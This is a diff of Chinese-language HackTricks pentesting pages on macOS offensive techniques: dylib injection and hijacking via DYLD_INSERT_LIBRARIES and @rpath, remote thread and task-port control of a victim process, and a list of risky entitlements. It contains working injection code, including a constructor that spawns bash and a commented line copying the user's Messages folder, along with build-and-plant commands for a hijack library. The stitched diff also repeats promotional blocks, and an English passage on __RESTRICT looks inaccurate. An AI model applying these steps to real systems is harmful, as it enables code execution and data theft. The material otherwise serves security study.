* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -21,6 +21,7 @@
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
@ -28,6 +29,7 @@ void myconstructor(int argc, const char **argv)
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
攻击目标二进制文件:
@ -47,21 +49,27 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld劫持示例
目标易受攻击的二进制文件是`/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`。
目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib (offset 12)
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
@ -70,45 +78,39 @@ path @loader_path/../lib (offset 12)
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
name @rpath/libjli.dylib (offset 24)
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% endtabs %}
根据之前的信息,我们知道它**没有检查加载的库的签名**,并且它正在尝试从以下位置加载库:
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
然而,第一个不存在:
然而,第一个位置不存在:
```bash
pwd
/Applications/Burp Suite Professional.app
/Applications/VulnDyld.app
find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出相同的功能,同时记得使用期望的版本进行编译:
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出与合法库相同的功能。并记得使用预期版本进行编译:
{% code title="libjli.m" %}
{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s",argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
@ -117,7 +119,7 @@ NSLog(@"[+] dylib hijacked in %s",argv[0]);
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
@ -127,16 +129,16 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
{% code overflow="wrap" %}
```bash
#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
@ -147,20 +149,19 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
{% code overflow="wrap" %}
```bash
cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
然后**执行**二进制文件并检查**库是否被加载**
<pre class="language-context"><code class="lang-context">./java
<strong>2023-05-15 15:20:36.677 java[78809:21797902] [+] 在./java中劫持了dylib
</strong>Usage: java [options] &#x3C;mainclass> [args...]
(to execute a class)
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib被劫持在/Applications/VulnDyld.app/Contents/Resources/lib/binary中
</strong>Usage: [...]
</code></pre>
{% hint style="info" %}
关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到
关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到
{% endhint %}
## 更大规模
@ -169,78 +170,14 @@ cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jr
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
## 检查限制
### SUID和SGID
```bash
# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### `__RESTRICT`部分与`__restrict`段
The `__RESTRICT` section and `__restrict` segment are important components of macOS security. They play a crucial role in preventing privilege escalation and protecting the system from unauthorized access.
`__RESTRICT` is a section in the macOS kernel that contains code and data that should not be modified or tampered with. It is designed to restrict access to critical system functions and prevent unauthorized modifications.
On the other hand, the `__restrict` segment is a memory segment that is marked as read-only and non-writable. It contains sensitive data and code that should not be modified or hijacked by malicious actors.
By enforcing strict restrictions on these sections and segments, macOS ensures the integrity and security of its kernel and prevents potential privilege escalation attacks.
Both the `__RESTRICT` section and `__restrict` segment are essential components of macOS's defense mechanisms and contribute to the overall security of the operating system.
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### 强化运行时
在钥匙串中创建一个新的证书,并使用它对二进制文件进行签名:
{% code overflow="wrap" %}
```bash
# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
# Apply library validation
codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
# Sign it
## If the signature is from an unverified developer the injection will still work
## If it's from a verified developer, it won't
codesign -f -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
# Apply CS_RESTRICT protection
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
{% endcode %}
{% hint style="danger" %}
请注意,即使有用标志**`0x0(none)`**签名的二进制文件,当执行时它们也可以动态地获得**`CS_RESTRICT`**标志,因此这种技术在它们上面不起作用。
您可以使用以下命令检查进程是否具有此标志(获取[**csops here**](https://github.com/axelexic/CSOps)&#x20;
```bash
csops -status <pid>
```
然后检查是否启用了标志位0x800。
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -27,7 +27,7 @@
此时,我们对远程线程的唯一有用的控制是**停止**它,**启动**它,**获取**它的**寄存器**值,并**设置**它的寄存器**值**。因此,我们可以通过将远程线程中的寄存器`x0`到`x7`设置为**参数**,将**`pc`**设置为要执行的函数,并启动线程来**发起远程函数**调用。此时,我们需要检测返回值并确保线程不会崩溃。
有几种方法可以实现这一点。一种方法是使用`thread_set_exception_ports()`为远程线程注册异常处理程序,并在调用函数之前将返回地址寄存器`lr`设置为无效地址;这样,在函数运行后,将生成一个异常并向我们的异常端口发送一条消息此时我们可以检查线程的状态以获取返回值。然而为了简单起见我复制了Ian Beer的triple\_fetch漏洞利用中使用的策略即将`lr`设置为一个会无限循环的指令的地址,然后反复轮询线程的寄存器,直到**`pc`指向该指令**。
有几种方法可以实现这一点。一种方法是使用`thread_set_exception_ports()`为远程线程注册异常处理程序,并在调用函数之前将返回地址寄存器`lr`设置为无效地址这样在函数运行后将生成一个异常并向我们的异常端口发送消息此时我们可以检查线程的状态以获取返回值。然而为了简单起见我复制了Ian Beer的triple\_fetch漏洞利用中使用的策略即将`lr`设置为一个会无限循环的指令的地址,然后反复轮询线程的寄存器,直到**`pc`指向该指令**。
### 2. 用于通信的Mach端口
@ -35,11 +35,11 @@
为了建立双向通信我们需要创建两个Mach接收权限一个在**本地任务中**,一个在**远程任务中**。然后,我们需要将一个发送权限**传输到另一个任务的每个端口**。这样,每个任务都有一种可以发送消息并被另一个任务接收的方法。
首先让我们专注于设置本地端口即本地任务持有接收权限的端口。我们可以像创建其他Mach端口一样调用`mach_port_allocate()`来创建Mach端口。关键是将发送权限传递到远程任务中的该端口
首先让我们专注于设置本地端口即本地任务持有接收权限的端口。我们可以像创建其他Mach端口一样调用`mach_port_allocate()`来创建Mach端口。关键是将发送权限传递到远程任务中。
我们可以使用一种方便的技巧,只使用基本的执行原语将发送权限从当前任务复制到远程任务中,即使用`thread_set_special_port()`将发送权限存储在远程线程的`THREAD_KERNEL_PORT`特殊端口中;然后,我们可以使远程线程调用`mach_thread_self()`来检索发送权限。
接下来,我们将设置远程端口,这与我们刚刚所做的相反。我们可以使**远程线程通过调用`mach_reply_port()`来分配一个Mach端口**;我们不能使用`mach_port_allocate()`,因为后者将在内存中返回分配的端口名称,而我们还没有读取原语。一旦我们有了一个端口,我们可以通过在远程线程中调用`mach_port_insert_right()`来创建一个发送权限。然后,我们可以使用`thread_set_special_port()`将端口存储在内核中。最后,在本地任务中,我们可以通过在远程线程上调用`thread_get_special_port()`来检索端口,**从而获得刚刚在远程任务中分配的Mach端口的发送权限**。
接下来,我们将设置远程端口,这与我们刚刚所做的相反。我们可以通过调用`mach_reply_port()`使远程线程分配一个Mach端口;我们不能使用`mach_port_allocate()`,因为后者将在内存中返回分配的端口名称,而我们还没有读取原语。一旦我们有了一个端口,我们可以通过在远程线程中调用`mach_port_insert_right()`来创建一个发送权限。然后,我们可以使用`thread_set_special_port()`将端口存储在内核中。最后,在本地任务中,我们可以通过在远程线程上调用`thread_get_special_port()`来检索端口,**从而获得刚刚在远程任务中分配的Mach端口的发送权限**。
此时我们已经创建了用于双向通信的Mach端口。
### 3. 基本内存读写 <a href="#step-3-basic-memory-readwrite" id="step-3-basic-memory-readwrite"></a>
@ -64,7 +64,7 @@ _write_func:
str x1, [x0]
ret
```
快速扫描一些常见的库,发现了一些不错的候选项。要读取内存,我们可以使用[Objective-C运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)中的`property_getName()`函数:
快速扫描一些常见的库,发现了一些很好的候选项。要读取内存,我们可以使用[Objective-C运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)中的`property_getName()`函数:
```c
const char *property_getName(objc_property_t prop)
{
@ -73,7 +73,7 @@ return prop->name;
```
事实证明,`prop`是`objc_property_t`的第一个字段,因此与上面的假设的`read_func`直接对应。我们只需要进行远程函数调用,第一个参数是我们想要读取的地址,返回值将是该地址处的数据。
找到一个现成的用于写入内存的函数稍微困难一些,但仍然有很好的选择,而且没有不需要的副作用。在libxpc中`_xpc_int64_set_value()`函数的反汇编代码如下:
找到一个现成的用于写入内存的函数稍微困难一些,但仍然有很好的选择,而且没有不希望的副作用。在libxpc中`_xpc_int64_set_value()`函数的反汇编代码如下:
```
__xpc_int64_set_value:
str x1, [x0, #0x18]
@ -83,21 +83,21 @@ ret
```c
_xpc_int64_set_value(address - 0x18, value)
```
有了这些基本原理,我们就可以创建共享内存了。
有了这些基本操作,我们就可以创建共享内存了。
### 4. 共享内存
我们的下一步是在远程任务和本地任务之间创建共享内存。这将使我们能够更轻松地在进程之间传输数据:有了共享内存区域,任意内存读写只需通过远程调用`memcpy()`即可完成。此外拥有共享内存区域还可以轻松设置堆栈以便我们可以调用具有超过8个参数的函数。
为了简化操作我们可以重用libxpc的共享内存功能。Libxpc提供了一XPC对象类型`OS_xpc_shmem`允许在XPC上建立共享内存区域。通过反向工程libxpc我们确定`OS_xpc_shmem`基于Mach内存条目这些Mach内存条目是表虚拟内存区域的Mach端口。由于我们已经展示了如何将Mach端口发送到远程任务因此我们可以使用这个方法轻松地设置自己的共享内存。
为了简化操作我们可以重用libxpc的共享内存功能。Libxpc提供了一XPC对象类型`OS_xpc_shmem`允许在XPC上建立共享内存区域。通过反向工程libxpc我们确定`OS_xpc_shmem`基于Mach内存条目这些Mach内存条目是表虚拟内存区域的Mach端口。由于我们已经展示了如何将Mach端口发送到远程任务因此我们可以使用这个方法轻松地设置自己的共享内存。
首先,我们需要使用`mach_vm_allocate()`来分配我们将共享的内存。我们需要使用`mach_vm_allocate()`来使用`xpc_shmem_create()`创建一个表示该区域的`OS_xpc_shmem`对象。`xpc_shmem_create()`将负责为我们创建Mach内存条目并将Mach发送权限存储在偏移量为`0x18`的不透明`OS_xpc_shmem`对象中。
首先,我们需要使用`mach_vm_allocate()`来分配我们将共享的内存。我们需要使用`mach_vm_allocate()`来使用`xpc_shmem_create()`为该区域创建一个`OS_xpc_shmem`对象。`xpc_shmem_create()`将负责为我们创建Mach内存条目并将Mach发送权限存储在偏移量为`0x18`的不透明`OS_xpc_shmem`对象中。
一旦我们了内存条目端口,我们将在远程进程中创建一个表示相同内存区域的`OS_xpc_shmem`对象,从而允许我们调用`xpc_shmem_map()`来建立共享内存映射。首先,我们通过远程调用`malloc()`来为`OS_xpc_shmem`分配内存,并使用我们的基本写入原语将本地`OS_xpc_shmem`对象的内容复制到其中。不幸的是,结果对象并不完全正确:其偏移量为`0x18`的Mach内存条目字段包含本地任务对内存条目的名称,而不是远程任务的名称。为了解决这个问题,我们使用`thread_set_special_port()`技巧将Mach内存条目的发送权限插入到远程任务中然后用远程内存条目的名称覆盖字段`0x18`。此时,远程的`OS_xpc_shmem`对象是有效的,并且可以通过远程调用`xpc_shmem_remote()`建立内存映射。
一旦我们获得了内存条目端口,我们将在远程进程中创建一个表示相同内存区域的`OS_xpc_shmem`对象,从而允许我们调用`xpc_shmem_map()`来建立共享内存映射。首先,我们通过远程调用`malloc()`来为`OS_xpc_shmem`分配内存,并使用我们的基本写入原语将本地`OS_xpc_shmem`对象的内容复制到其中。不幸的是,结果对象并不完全正确:其偏移量为`0x18`的Mach内存条目字段包含的是本地任务对内存条目的名称,而不是远程任务的名称。为了解决这个问题,我们使用`thread_set_special_port()`技巧将Mach内存条目的发送权限插入到远程任务中并将字段`0x18`覆盖为远程内存条目的名称。此时,远程的`OS_xpc_shmem`对象是有效的,并且可以通过远程调用`xpc_shmem_remote()`建立内存映射。
### 5. 完全控制 <a href="#step-5-full-control" id="step-5-full-control"></a>
有了已知地址的共享内存和任意执行原语,我们基本上已经完成了。通过调用`memcpy()`来实现任意内存读写通过按照调用约定在堆栈上布置超过8个的附加参数来执行具有超过8个参数的函数调用。通过在之前建立的端口上发送Mach消息可以在任务之间传输任意Mach端口。甚至可以使用文件端口在进程之间传输文件描述符特别感谢Ian Beer在triple_fetch中演示了这种技术
有了已知地址的共享内存和任意执行原语,我们基本上已经完成了。通过调用`memcpy()`来实现任意内存读写通过按照调用约定在堆栈上布置超过8个参数的附加参数来执行具有超过8个参数的函数调用。通过在之前建立的端口上发送Mach消息可以在任务之间传输任意Mach端口。我们甚至可以使用文件端口在进程之间传输文件描述符特别感谢Ian Beer在triple_fetch中演示了这种技术
简而言之,我们现在对受害进程拥有完全且轻松的控制。您可以在[threadexec](https://github.com/bazad/threadexec)库中查看完整的实现和公开的API。
@ -107,7 +107,7 @@ _xpc_int64_set_value(address - 0x18, value)
* 您在一家**网络安全公司**工作吗您想在HackTricks中**为您的公司做广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFT收藏品The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -16,22 +16,54 @@
请注意,以**`com.apple`**开头的权限不可供第三方使用只有Apple可以授予。
{% endhint %}
## 高级
### `com.apple.security.get-task-allow`
此权限允许获取由具有此权限的二进制文件运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### **`com.apple.system-task-ports`(以前称为`task_for_pid-allow`**
**此权限允许**获取除内核以外的**任何进程的任务端口**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
此权限允许获取**任何**进程的任务端口,但不包括内核。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
<details>
### `com.apple.security.cs.debugger`
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
具有调试工具权限的应用程序可以调用`task_for_pid()`来检索未签名和第三方应用程序的有效任务端口,前提是这些应用程序具有设置为`true`的`Get Task Allow`权限。然而,即使具有调试工具权限,调试器也无法获取没有`Get Task Allow`权限的进程的任务端口,因此受系统完整性保护的保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
### `com.apple.security.cs.disable-library-validation`
此权限允许**加载未由Apple签名或使用相同的Team ID签名的框架、插件或库**,因此攻击者可以滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
### `com.apple.security.cs.allow-dyld-environment-variables`
此权限允许**使用DYLD环境变量**,这些变量可以用于注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
## 中级
### `com.apple.security.cs.allow-jit`
此权限允许通过向`mmap()`系统函数传递`MAP_JIT`标志来创建可写和可执行的内存。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
### `com.apple.security.cs.allow-unsigned-executable-memory`
此权限允许**覆盖或修补C代码**,使用长期弃用的**`NSCreateObjectFileImageFromMemory`**(基本上是不安全的),或使用**DVDPlayback**框架。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
{% hint style="danger" %}
包含此权限会使您的应用程序面临内存不安全代码语言的常见漏洞。请仔细考虑您的应用程序是否需要此例外。
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
此权限允许**修改自己的可执行文件**上的部分内容以强制退出。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
{% hint style="danger" %}
禁用可执行内存保护权限是一项极端的权限,它会从您的应用程序中删除基本的安全保护,使攻击者能够在不被检测到的情况下重写您的应用程序的可执行代码。如果可能,请优先选择更窄的权限。
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
TODO
